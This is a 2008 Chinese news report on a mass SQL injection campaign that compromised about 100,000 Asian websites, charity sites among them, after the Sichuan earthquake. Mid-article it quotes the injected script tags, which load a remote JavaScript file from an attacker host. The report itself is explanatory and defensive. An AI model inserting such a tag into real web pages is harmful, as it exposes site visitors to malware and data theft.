资讯安全再陷危机 慈善团体网站受害最甚 隐码攻击为主因

【2008年5月21日讯】

四川大地震衍伸出的问题，在各领域上屡见不鲜，不只观光业，就连救灾、慈善相关的网站，近期也被骇客锁定为主要的攻击目标，当中，“SQL隐码攻击”是主要关键。

趋势科技指出，因为四川大地震的关系，使得众多慈善团体的网站，点阅率大幅提升，也大幅增加犯罪者植入木马的机会，骇客更利用微软在两年前发布的MS06-14漏洞，进行入侵攻击，一旦使用者连上被入侵的网站，点选外部链接后，其他相关网站也会遭到攻击，目前所知，亚洲地区有近十万以上的网站遭波及。

另外，阿玛科技根据近期受害的亚洲网站进行分析，当中，更指出，只要在大型搜寻引擎，输入骇客指令的关键字，就可以看到众多网站会被植入包含“<script>”的程式语法，范例如下：

“

<script src=http:/<script src=http://9i5t.cn/a.js></script> <script src=http://9i5t.cn/a.js></script>

”

此类攻击手段，是骇客先入侵伺服器端，找到注入点，之后让受害的网站，在无意间与骇客端连结，而当使用者连上线后，个人资料随即遭到骇客的窃取，造成个资外泄的严重问题。

虽然受害的网站已有部分修复完毕，但台湾资安产业已发出警示，提醒使用者搜寻网站时，除了注意安全警示标与外，并尽量不要连入库存网站页面，以免遭受攻击。

消息来源

• 趋势：10万中文网页遭入侵 锁定公益网站，ZDNet，2008年5月19日。
• 何宏儒，强震消息成攻击工具 10万中文网页昨遭骇，中央通讯社，2008年5月19日。
• 新闻稿：台湾网站遭受有史以来最大量 SQL Injection 攻击，阿玛科技，2008年5月20日。
• 十万中文网页遭恶意程式攻击 上网捐款要小心，Global Sources，2008年5月21日。

外部链接

• 微软的MS06-14资讯安全特报（英文）